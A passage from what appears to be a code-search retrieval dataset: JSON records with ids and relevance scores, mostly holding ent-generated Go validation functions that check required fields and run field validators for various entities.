{\n\t\tif err := fieldtype.StateValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"state\", err: fmt.Errorf(`ent: validator failed for field \"FieldType.state\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := ftuo.mutation.MAC(); ok {\n\t\tif err := fieldtype.MACValidator(v.String()); err != nil {\n\t\t\treturn &ValidationError{Name: \"mac\", err: fmt.Errorf(`ent: validator failed for field \"FieldType.mac\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := ftuo.mutation.Ndir(); ok {\n\t\tif err := fieldtype.NdirValidator(string(v)); err != nil {\n\t\t\treturn &ValidationError{Name: \"ndir\", err: fmt.Errorf(`ent: validator failed for field \"FieldType.ndir\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := ftuo.mutation.Link(); ok {\n\t\tif err := fieldtype.LinkValidator(v.String()); err != nil {\n\t\t\treturn &ValidationError{Name: \"link\", err: fmt.Errorf(`ent: validator failed for field \"FieldType.link\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := ftuo.mutation.RawData(); ok {\n\t\tif err := fieldtype.RawDataValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"raw_data\", err: fmt.Errorf(`ent: validator failed for field \"FieldType.raw_data\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := ftuo.mutation.IP(); ok {\n\t\tif err := fieldtype.IPValidator([]byte(v)); err != nil {\n\t\t\treturn &ValidationError{Name: \"ip\", err: fmt.Errorf(`ent: validator failed for field \"FieldType.ip\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := ftuo.mutation.Role(); ok {\n\t\tif err := fieldtype.RoleValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"role\", err: fmt.Errorf(`ent: validator failed for field \"FieldType.role\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := ftuo.mutation.Priority(); ok {\n\t\tif err := fieldtype.PriorityValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"priority\", err: fmt.Errorf(`ent: validator failed for field \"FieldType.priority\": %w`, err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "2f1bab6ecb35f43d2a8f4bcc050b1a8a", "score": "0.60925996", "text": "func (ouo *OperationUpdateOne) check() error {\n\tif v, ok := ouo.mutation.GetType(); ok {\n\t\tif err := operation.TypeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"type\", err: fmt.Errorf(\"ent: validator failed for field \\\"type\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := ouo.mutation.Status(); ok {\n\t\tif err := operation.StatusValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"status\", err: fmt.Errorf(\"ent: validator failed for field \\\"status\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "a14f835f797d9a32c3e4df12d8b60f1e", "score": "0.6091018", "text": "func (dduo *DatabaseDetectorUpdateOne) check() error {\n\tif v, ok := dduo.mutation.Status(); ok {\n\t\tif err := databasedetector.StatusValidator(int8(v)); err != nil {\n\t\t\treturn &ValidationError{Name: \"status\", err: fmt.Errorf(`ent: validator failed for field \"DatabaseDetector.status\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := dduo.mutation.Name(); ok {\n\t\tif err := databasedetector.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(`ent: validator failed for field \"DatabaseDetector.name\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := dduo.mutation.Timeout(); ok {\n\t\tif err := databasedetector.TimeoutValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"timeout\", err: fmt.Errorf(`ent: validator failed for field \"DatabaseDetector.timeout\": %w`, err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "9ef625d72e4d174bc30bcab788279b79", "score": "0.60901344", "text": "func (rc *RunCreate) check() error {\n\tif _, ok := rc.mutation.CreatedAt(); !ok {\n\t\treturn &ValidationError{Name: \"created_at\", err: errors.New(\"ent: missing required field \\\"created_at\\\"\")}\n\t}\n\tif _, ok := rc.mutation.UpdatedAt(); !ok {\n\t\treturn &ValidationError{Name: \"updated_at\", err: errors.New(\"ent: missing required field \\\"updated_at\\\"\")}\n\t}\n\tif _, ok := rc.mutation.Status(); !ok {\n\t\treturn &ValidationError{Name: \"status\", err: errors.New(\"ent: missing required field \\\"status\\\"\")}\n\t}\n\tif v, ok := rc.mutation.Status(); ok {\n\t\tif err := run.StatusValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"status\", err: fmt.Errorf(\"ent: validator failed for field \\\"status\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := rc.mutation.Name(); !ok {\n\t\treturn &ValidationError{Name: \"name\", err: errors.New(\"ent: missing required field \\\"name\\\"\")}\n\t}\n\tif v, ok := rc.mutation.ID(); ok {\n\t\tif err := run.IDValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"id\", err: fmt.Errorf(\"ent: validator failed for field \\\"id\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := rc.mutation.TemplateID(); !ok {\n\t\treturn &ValidationError{Name: \"template\", err: errors.New(\"ent: missing required edge \\\"template\\\"\")}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "a3a6cb045698ca6182bda705185d5f52", "score": "0.60832405", "text": "func (usc *UserSettingsCreate) check() error {\n\tif _, ok := usc.mutation.CreateTime(); !ok {\n\t\treturn &ValidationError{Name: \"create_time\", err: errors.New(\"ent: missing required field \\\"create_time\\\"\")}\n\t}\n\tif _, ok := usc.mutation.UpdateTime(); !ok {\n\t\treturn &ValidationError{Name: \"update_time\", err: errors.New(\"ent: missing required field \\\"update_time\\\"\")}\n\t}\n\tif _, ok := usc.mutation.NewCardsPerDay(); !ok {\n\t\treturn &ValidationError{Name: \"newCardsPerDay\", err: errors.New(\"ent: missing required field \\\"newCardsPerDay\\\"\")}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "382fb583256671006ba8de66fdc47e44", "score": "0.6080533", "text": "func (cu *CompanyUpdate) check() error {\n\tif v, ok := cu.mutation.Name(); ok {\n\t\tif err := company.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(\"ent: validator failed for field \\\"name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cu.mutation.Location(); ok {\n\t\tif err := company.LocationValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"location\", err: fmt.Errorf(\"ent: validator failed for field \\\"location\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cu.mutation.PostalCode(); ok {\n\t\tif err := company.PostalCodeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"postal_code\", err: fmt.Errorf(\"ent: validator failed for field \\\"postal_code\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cu.mutation.PhoneNumber(); ok {\n\t\tif err := company.PhoneNumberValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"phone_number\", err: fmt.Errorf(\"ent: validator failed for field \\\"phone_number\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cu.mutation.CompanyID(); ok {\n\t\tif err := company.CompanyIDValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"company_id\", err: fmt.Errorf(\"ent: validator failed for field \\\"company_id\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := cu.mutation.Introduction(); ok {\n\t\tif err := company.IntroductionValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"introduction\", err: fmt.Errorf(\"ent: validator failed for field \\\"introduction\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "413e2c53a10c1e6561182f6896e33439", "score": "0.6077207", "text": "func (tuo *TankUpdateOne) check() error {\n\tif v, ok := tuo.mutation.Name(); ok {\n\t\tif err := tank.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(\"ent: validator failed for field \\\"name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := tuo.mutation.TankClass(); ok {\n\t\tif err := tank.TankClassValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"tankClass\", err: fmt.Errorf(\"ent: validator failed for field \\\"tankClass\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := tuo.mutation.Country(); ok {\n\t\tif err := tank.CountryValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"country\", err: fmt.Errorf(\"ent: validator failed for field \\\"country\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "2110e856848d0f7d12d7ebb637d0108e", "score": "0.6073966", "text": "func (cc *CustomerCreate) check() error {\n\tif _, ok := cc.mutation.CreatedAt(); !ok {\n\t\treturn &ValidationError{Name: \"created_at\", err: errors.New(\"ent: missing required field \\\"created_at\\\"\")}\n\t}\n\tif _, ok := cc.mutation.UpdatedAt(); !ok {\n\t\treturn &ValidationError{Name: \"updated_at\", err: errors.New(\"ent: missing required field \\\"updated_at\\\"\")}\n\t}\n\tif _, ok := cc.mutation.Address(); !ok {\n\t\treturn &ValidationError{Name: \"address\", err: errors.New(\"ent: missing required field \\\"address\\\"\")}\n\t}\n\tif v, ok := cc.mutation.Address(); ok {\n\t\tif err := customer.AddressValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"address\", err: fmt.Errorf(\"ent: validator failed for field \\\"address\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := cc.mutation.Phone(); !ok {\n\t\treturn &ValidationError{Name: \"phone\", err: errors.New(\"ent: missing required field \\\"phone\\\"\")}\n\t}\n\tif v, ok := cc.mutation.Phone(); ok {\n\t\tif err := customer.PhoneValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"phone\", err: fmt.Errorf(\"ent: validator failed for field \\\"phone\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := cc.mutation.UserID(); !ok {\n\t\treturn &ValidationError{Name: \"user\", err: errors.New(\"ent: missing required edge \\\"user\\\"\")}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "2bfa0e0a02339ba714a301175a0a7fb4", "score": "0.60706306", "text": "func (ac *AgentCreate) check() error {\n\tif _, ok := ac.mutation.UUID(); !ok {\n\t\treturn &ValidationError{Name: \"uuid\", err: errors.New(\"ent: missing required field \\\"uuid\\\"\")}\n\t}\n\tif _, ok := ac.mutation.Hostname(); !ok {\n\t\treturn &ValidationError{Name: \"hostname\", err: errors.New(\"ent: missing required field \\\"hostname\\\"\")}\n\t}\n\tif _, ok := ac.mutation.IP(); !ok {\n\t\treturn &ValidationError{Name: \"ip\", err: errors.New(\"ent: missing required field \\\"ip\\\"\")}\n\t}\n\tif _, ok := ac.mutation.Port(); !ok {\n\t\treturn &ValidationError{Name: \"port\", err: errors.New(\"ent: missing required field \\\"port\\\"\")}\n\t}\n\tif _, ok := ac.mutation.Pid(); !ok {\n\t\treturn &ValidationError{Name: \"pid\", err: errors.New(\"ent: missing required field \\\"pid\\\"\")}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "f60e9d4ee4fd86181fb41a2e6b92f37b", "score": "0.607026", "text": "func (djuo *DetectionJobUpdateOne) check() error {\n\tif v, ok := djuo.mutation.Method(); ok {\n\t\tif err := detectionjob.MethodValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"method\", err: fmt.Errorf(\"ent: validator failed for field \\\"method\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := djuo.mutation.SiteID(); ok {\n\t\tif err := detectionjob.SiteIDValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"site_id\", err: fmt.Errorf(\"ent: validator failed for field \\\"site_id\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := djuo.mutation.Metric(); ok {\n\t\tif err := detectionjob.MetricValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"metric\", err: fmt.Errorf(\"ent: validator failed for field \\\"metric\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := djuo.mutation.Attribute(); ok {\n\t\tif err := detectionjob.AttributeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"attribute\", err: fmt.Errorf(\"ent: validator failed for field \\\"attribute\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := djuo.mutation.TimeAgo(); ok {\n\t\tif err := detectionjob.TimeAgoValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"time_ago\", err: fmt.Errorf(\"ent: validator failed for field \\\"time_ago\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := djuo.mutation.TimeStep(); ok {\n\t\tif err := detectionjob.TimeStepValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"time_step\", err: fmt.Errorf(\"ent: validator failed for field \\\"time_step\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "6ae2b6d80681e1db38cfbc78d9693b84", "score": "0.60664696", "text": "func (rsc *RequestStatusCreate) check() error {\n\tif _, ok := rsc.mutation.Status(); !ok {\n\t\treturn &ValidationError{Name: \"status\", err: errors.New(`ent: missing required field \"RequestStatus.status\"`)}\n\t}\n\tif v, ok := rsc.mutation.Status(); ok {\n\t\tif err := requeststatus.StatusValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"status\", err: fmt.Errorf(`ent: validator failed for field \"RequestStatus.status\": %w`, err)}\n\t\t}\n\t}\n\tif _, ok := rsc.mutation.CreatedAt(); !ok {\n\t\treturn &ValidationError{Name: \"created_at\", err: errors.New(`ent: missing required field \"RequestStatus.created_at\"`)}\n\t}\n\tif _, ok := rsc.mutation.RequestID(); !ok {\n\t\treturn &ValidationError{Name: \"request\", err: errors.New(`ent: missing required edge \"RequestStatus.request\"`)}\n\t}\n\tif _, ok := rsc.mutation.UserID(); !ok {\n\t\treturn &ValidationError{Name: \"user\", err: errors.New(`ent: missing required edge \"RequestStatus.user\"`)}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "cb50a612be091c5af0647d36a54c1331", "score": "0.60655224", "text": "func (uuo *UserUpdateOne) check() error {\n\tif v, ok := uuo.mutation.Name(); ok {\n\t\tif err := user.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(\"ent: validator failed for field \\\"name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uuo.mutation.Username(); ok {\n\t\tif err := user.UsernameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"username\", err: fmt.Errorf(\"ent: validator failed for field \\\"username\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uuo.mutation.Password(); ok {\n\t\tif err := user.PasswordValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"password\", err: fmt.Errorf(\"ent: validator failed for field \\\"password\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uuo.mutation.Bio(); ok {\n\t\tif err := user.BioValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"bio\", err: fmt.Errorf(\"ent: validator failed for field \\\"bio\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uuo.mutation.Gender(); ok {\n\t\tif err := user.GenderValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"gender\", err: fmt.Errorf(\"ent: validator failed for field \\\"gender\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uuo.mutation.Role(); ok {\n\t\tif err := user.RoleValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"role\", err: fmt.Errorf(\"ent: validator failed for field \\\"role\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "7f06a19d4bbdcaf03740f1ead4123b66", "score": "0.60535085", "text": "func (vu *VeterinarianUpdate) check() error {\n\tif v, ok := vu.mutation.Phone(); ok {\n\t\tif err := veterinarian.PhoneValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"phone\", err: fmt.Errorf(\"ent: validator failed for field \\\"phone\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := vu.mutation.UserID(); vu.mutation.UserCleared() && !ok {\n\t\treturn errors.New(\"ent: clearing a required unique edge \\\"user\\\"\")\n\t}\n\tif _, ok := vu.mutation.ClinicID(); vu.mutation.ClinicCleared() && !ok {\n\t\treturn errors.New(\"ent: clearing a required unique edge \\\"clinic\\\"\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "fab19cfca255d8e65913363a04ce0235", "score": "0.6043898", "text": "func (mpu *MedicalProcedureUpdate) check() error {\n\tif v, ok := mpu.mutation.ProcedureOrder(); ok {\n\t\tif err := medicalprocedure.ProcedureOrderValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"procedureOrder\", err: fmt.Errorf(\"ent: validator failed for field \\\"procedureOrder\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := mpu.mutation.ProcedureRoom(); ok {\n\t\tif err := medicalprocedure.ProcedureRoomValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"procedureRoom\", err: fmt.Errorf(\"ent: validator failed for field \\\"procedureRoom\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := mpu.mutation.ProcedureDescripe(); ok {\n\t\tif err := medicalprocedure.ProcedureDescripeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"procedureDescripe\", err: fmt.Errorf(\"ent: validator failed for field \\\"procedureDescripe\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "6dc7147dbbf21954edea86225104454c", "score": "0.60436434", "text": "func (tu *TankUpdate) check() error {\n\tif v, ok := tu.mutation.Name(); ok {\n\t\tif err := tank.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(\"ent: validator failed for field \\\"name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := tu.mutation.TankClass(); ok {\n\t\tif err := tank.TankClassValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"tankClass\", err: fmt.Errorf(\"ent: validator failed for field \\\"tankClass\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := tu.mutation.Country(); ok {\n\t\tif err := tank.CountryValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"country\", err: fmt.Errorf(\"ent: validator failed for field \\\"country\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c9ea28e7216c756fc65bce4cce10a7d0", "score": "0.603563", "text": "func Check() {\n\tmg.Deps(CheckGoImports, CheckGoLint, CheckGoVet, CheckCopyright)\n}", "title": "" }, { "docid": "8714b6142bf9609f4021ba3bb50186da", "score": "0.603374", "text": "func (pc *PatientCreate) check() error {\n\tif _, ok := pc.mutation.PersonalID(); !ok {\n\t\treturn &ValidationError{Name: \"personalID\", err: errors.New(\"ent: missing required field \\\"personalID\\\"\")}\n\t}\n\tif v, ok := pc.mutation.PersonalID(); ok {\n\t\tif err := patient.PersonalIDValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"personalID\", err: fmt.Errorf(\"ent: validator failed for field \\\"personalID\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := pc.mutation.HospitalNumber(); !ok {\n\t\treturn &ValidationError{Name: \"hospitalNumber\", err: errors.New(\"ent: missing required field \\\"hospitalNumber\\\"\")}\n\t}\n\tif v, ok := pc.mutation.HospitalNumber(); ok {\n\t\tif err := patient.HospitalNumberValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"hospitalNumber\", err: fmt.Errorf(\"ent: validator failed for field \\\"hospitalNumber\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := pc.mutation.PatientName(); !ok {\n\t\treturn &ValidationError{Name: \"patientName\", err: errors.New(\"ent: missing required field \\\"patientName\\\"\")}\n\t}\n\tif v, ok := pc.mutation.PatientName(); ok {\n\t\tif err := patient.PatientNameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"patientName\", err: fmt.Errorf(\"ent: validator failed for field \\\"patientName\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := pc.mutation.DrugAllergy(); !ok {\n\t\treturn &ValidationError{Name: \"drugAllergy\", err: errors.New(\"ent: missing required field \\\"drugAllergy\\\"\")}\n\t}\n\tif v, ok := pc.mutation.DrugAllergy(); ok {\n\t\tif err := patient.DrugAllergyValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"drugAllergy\", err: fmt.Errorf(\"ent: validator failed for field \\\"drugAllergy\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := pc.mutation.MobileNumber(); !ok {\n\t\treturn &ValidationError{Name: \"mobileNumber\", err: errors.New(\"ent: missing required field \\\"mobileNumber\\\"\")}\n\t}\n\tif v, ok := pc.mutation.MobileNumber(); ok {\n\t\tif err := patient.MobileNumberValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"mobileNumber\", err: fmt.Errorf(\"ent: validator failed for field \\\"mobileNumber\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := pc.mutation.Added(); !ok {\n\t\treturn &ValidationError{Name: \"added\", err: errors.New(\"ent: missing required field \\\"added\\\"\")}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "16b52f866e84103a326b025df09105aa", "score": "0.6033035", "text": "func (ou *OperationUpdate) check() error {\n\tif v, ok := ou.mutation.GetType(); ok {\n\t\tif err := operation.TypeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"type\", err: fmt.Errorf(\"ent: validator failed for field \\\"type\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := ou.mutation.Status(); ok {\n\t\tif err := operation.StatusValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"status\", err: fmt.Errorf(\"ent: validator failed for field \\\"status\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d644611295caf0223dc8b1ce7167ba0a", "score": "0.60324854", "text": "func (mu *MetricsUpdate) check() error {\n\tif v, ok := mu.mutation.Namespace(); ok {\n\t\tif err := metrics.NamespaceValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"namespace\", err: fmt.Errorf(\"ent: validator failed for field \\\"namespace\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := mu.mutation.Workflow(); ok {\n\t\tif err := metrics.WorkflowValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"workflow\", err: fmt.Errorf(\"ent: validator failed for field \\\"workflow\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := mu.mutation.Instance(); ok {\n\t\tif err := metrics.InstanceValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"instance\", err: fmt.Errorf(\"ent: validator failed for field \\\"instance\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := mu.mutation.State(); ok {\n\t\tif err := metrics.StateValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"state\", err: fmt.Errorf(\"ent: validator failed for field \\\"state\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := mu.mutation.WorkflowMs(); ok {\n\t\tif err := metrics.WorkflowMsValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"workflow_ms\", err: fmt.Errorf(\"ent: validator failed for field \\\"workflow_ms\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := mu.mutation.IsolateMs(); ok {\n\t\tif err := metrics.IsolateMsValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"isolate_ms\", err: fmt.Errorf(\"ent: validator failed for field \\\"isolate_ms\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := mu.mutation.Next(); ok {\n\t\tif err := metrics.NextValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"next\", err: fmt.Errorf(\"ent: validator failed for field \\\"next\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "e33eec3a7309fce3003abe1f7cf8b9d4", "score": "0.6029574", "text": "func (gcc *GoodsClassifyCreate) check() error {\n\tif _, ok := gcc.mutation.CreatedAt(); !ok {\n\t\treturn &ValidationError{Name: \"created_at\", err: errors.New(\"ent: missing required field \\\"created_at\\\"\")}\n\t}\n\tif _, ok := gcc.mutation.Level(); !ok {\n\t\treturn &ValidationError{Name: \"level\", err: errors.New(\"ent: missing required field \\\"level\\\"\")}\n\t}\n\tif v, ok := gcc.mutation.Sort(); ok {\n\t\tif err := goodsclassify.SortValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"sort\", err: fmt.Errorf(\"ent: validator failed for field \\\"sort\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b14d508a7ee8ba3dcb05c6ee6640205e", "score": "0.6025264", "text": "func (status *Status) check() (string, error) {\n\tstatus.Version = newVersionStatus(status.cli)\n\tstatus.System = newSystemStatus()\n\tstatus.Configuration = newConfigurationStatus(status)\n\tstatus.APIReachability = newAPIReachabilityStatus(status.cfg)\n\n\treturn status.compile()\n}", "title": "" }, { "docid": "09f0e5ad76ff0257fc8d17e49a6590fa", "score": "0.601914", "text": "func (smc *StockManagerCreate) check() error {\n\tif _, ok := smc.mutation.Activite(); !ok {\n\t\treturn &ValidationError{Name: \"Activite\", err: errors.New(\"ent: missing required field \\\"Activite\\\"\")}\n\t}\n\tif _, ok := smc.mutation.SemaineA(); !ok {\n\t\treturn &ValidationError{Name: \"SemaineA\", err: errors.New(\"ent: missing required field \\\"SemaineA\\\"\")}\n\t}\n\tif v, ok := smc.mutation.SemaineA(); ok {\n\t\tif err := stockmanager.SemaineAValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"SemaineA\", err: fmt.Errorf(\"ent: validator failed for field \\\"SemaineA\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := smc.mutation.SemaineB(); !ok {\n\t\treturn &ValidationError{Name: \"SemaineB\", err: errors.New(\"ent: missing required field \\\"SemaineB\\\"\")}\n\t}\n\tif v, ok := smc.mutation.SemaineB(); ok {\n\t\tif err := stockmanager.SemaineBValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"SemaineB\", err: fmt.Errorf(\"ent: validator failed for field \\\"SemaineB\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := smc.mutation.SemaineC(); !ok {\n\t\treturn &ValidationError{Name: \"SemaineC\", err: errors.New(\"ent: missing required field \\\"SemaineC\\\"\")}\n\t}\n\tif v, ok := smc.mutation.SemaineC(); ok {\n\t\tif err := stockmanager.SemaineCValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"SemaineC\", err: fmt.Errorf(\"ent: validator failed for field \\\"SemaineC\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := smc.mutation.SemaineD(); !ok {\n\t\treturn &ValidationError{Name: \"SemaineD\", err: errors.New(\"ent: missing required field \\\"SemaineD\\\"\")}\n\t}\n\tif v, ok := smc.mutation.SemaineD(); ok {\n\t\tif err := stockmanager.SemaineDValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"SemaineD\", err: fmt.Errorf(\"ent: validator failed for field \\\"SemaineD\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := smc.mutation.SemaineE(); !ok {\n\t\treturn &ValidationError{Name: \"SemaineE\", err: errors.New(\"ent: missing required field \\\"SemaineE\\\"\")}\n\t}\n\tif v, ok := smc.mutation.SemaineE(); ok {\n\t\tif err := stockmanager.SemaineEValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"SemaineE\", err: fmt.Errorf(\"ent: validator failed for field \\\"SemaineE\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := smc.mutation.SemaineF(); !ok {\n\t\treturn &ValidationError{Name: \"SemaineF\", err: errors.New(\"ent: missing required field \\\"SemaineF\\\"\")}\n\t}\n\tif v, ok := smc.mutation.SemaineF(); ok {\n\t\tif err := stockmanager.SemaineFValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"SemaineF\", err: fmt.Errorf(\"ent: validator failed for field \\\"SemaineF\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := smc.mutation.SemaineG(); !ok {\n\t\treturn &ValidationError{Name: \"SemaineG\", err: errors.New(\"ent: missing required field \\\"SemaineG\\\"\")}\n\t}\n\tif v, ok := smc.mutation.SemaineG(); ok {\n\t\tif err := stockmanager.SemaineGValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"SemaineG\", err: fmt.Errorf(\"ent: validator failed for field \\\"SemaineG\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := smc.mutation.SemaineH(); !ok {\n\t\treturn &ValidationError{Name: \"SemaineH\", err: errors.New(\"ent: missing required field \\\"SemaineH\\\"\")}\n\t}\n\tif v, ok := smc.mutation.SemaineH(); ok {\n\t\tif err := stockmanager.SemaineHValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"SemaineH\", err: fmt.Errorf(\"ent: validator failed for field \\\"SemaineH\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := smc.mutation.ID(); ok {\n\t\tif err := stockmanager.IDValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"id\", err: fmt.Errorf(\"ent: validator failed for field \\\"id\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "59028a2a53bf1edd36ca930b331d0d77", "score": "0.6018572", "text": "func (u *user) check(ca checkArg) {\n\tvar err error\n\n\tdefer func() {\n\t\tu.ca.log.Debug(\"Check %s, err: %v\", ca, err)\n\t\tca.retCh <- err\n\t}()\n\n\tif err = u.repopulate(); err != nil {\n\t\treturn\n\t}\n\n\tu.lock.RLock()\n\tdefer u.lock.RUnlock()\n\n\terr = 